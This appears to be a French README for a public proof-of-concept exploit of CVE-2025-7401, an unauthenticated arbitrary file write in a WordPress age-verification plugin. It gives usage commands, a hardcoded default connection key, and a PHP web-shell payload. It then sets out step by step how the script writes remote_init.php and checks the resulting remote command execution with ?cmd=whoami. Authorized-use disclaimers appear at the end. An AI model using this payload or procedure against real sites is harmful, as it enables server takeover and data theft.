
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lecture et écriture arbitraires de fichiers non authentifiées
Le plugin « Premium Age Verification / Restriction for WordPress » contient un point de terminaison de support à distance insuffisamment protégé dans remote_tunnel.php. Dans les versions concernées, jusqu'à la 3.0.2 incluse, ce point de terminaison peut être détourné pour effectuer des lectures et écritures arbitraires de fichiers sans authentification. Une exploitation réussie peut exposer des informations sensibles ou permettre l'exécution de code à distance.
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
| Option | Type | Défaut | Description |
|---|---|---|---|
| -u, --url | string | requis | Domaine cible ou URL partielle. Le script ajoutera le point de terminaison du plugin si nécessaire. Exemples : example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Clé de connexion utilisée par le point de terminaison de support à distance. À remplacer pour les cibles de laboratoire si nécessaire. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | Extrait PHP à injecter comme contenu de fichier. À modifier uniquement pour des tests autorisés. |
| --no-verify | flag | false | Si présent, le script n'effectuera pas la vérification GET facultative du fichier écrit. |
| Étape | Action | Détails |
|---|---|---|
| 1 | Normalisation de l'entrée | Accepte la saisie de l'utilisateur (domaine ou chemin partiel). Garantit le schéma (http:// s'il manque), supprime les barres obliques en double et ajoute /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php si le point de terminaison n'est pas présent. |
| 2 | Construction des en-têtes | Construit des en-têtes de requête HTTP réalistes (sélection rotative du user-agent, Accept, Referer, Content-Type). |
| 3 | Encodage de la charge utile | Encode en Base64 l'extrait PHP fourni et le place dans file_content. |
| 4 | Requête d'exploitation POST | Envoie connection_key, action=save_file, file (chemin serveur) et file_content au point de terminaison remote_tunnel.php normalisé via application/x-www-form-urlencoded. |
| 5 | Analyse de la réponse | Tente d'extraire le JSON du corps de la réponse. Si du JSON existe, affiche status et file_path ; sinon, affiche la réponse brute nettoyée. |
| 6 | Vérification (facultative) | Tente une requête GET vers /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami pour vérifier si le fichier injecté est accessible et renvoie son contenu. Facultatif via --no-verify. |
| 7 | Rapport | Affiche un rapport structuré et lisible incluant le point de terminaison utilisé, le statut HTTP, le JSON analysé (s'il y en a), l'URL de shell attendue et la sortie de vérification tronquée (en cas de succès). |
| Champ de sortie | Signification | Exemple |
|---|---|---|
| Point de terminaison cible | URL normalisée finale contactée (chemin complet vers remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| Code de statut HTTP | Code de réponse HTTP de la requête POST. 200 indique souvent que la requête a été traitée. | 200 |
| Statut JSON de la réponse | Si le point de terminaison renvoie du JSON, le champ status indique le succès ou l'échec. | valid |
| file_path JSON de la réponse | Chemin côté serveur renvoyé par le point de terminaison indiquant où le fichier a été écrit (à titre informatif). | /var/www/html/wp-content/.../remote_init.php |
| Réponse brute | Corps de réponse non JSON (nettoyé), comme des notifications ou messages PHP. | Notice: ... |
| URL de shell (attendue) | L'URL publique où le fichier injecté serait accessible. À utiliser uniquement pour la vérification lors de tests autorisés. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| Statut HTTP de la vérification | Statut HTTP de la vérification GET facultative. | 200 |
| Corps de vérification (tronqué) | Les N premiers caractères du corps de la réponse de vérification (utile pour voir la sortie de la commande). | www-data |
remote_tunnel.php./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php avec les paramètres : action=save_file, file, file_content.remote_init.php.Si vous découvrez cette vulnérabilité sur une infrastructure tierce :
L'utilisation non autorisée d'outils de test de vulnérabilités est illégale dans de nombreuses juridictions. Ce dépôt et ce script sont destinés uniquement à la recherche défensive, aux tests autorisés et à la divulgation coordonnée de vulnérabilités. Obtenez toujours une autorisation écrite explicite avant de tester des systèmes que vous ne possédez pas.
L'auteur et les contributeurs déclinent toute responsabilité en cas d'utilisation abusive des informations ou des outils. Utilisez ce matériel uniquement dans les limites légales et éthiques.
Par : Nxploited ( Khaled Alenazi )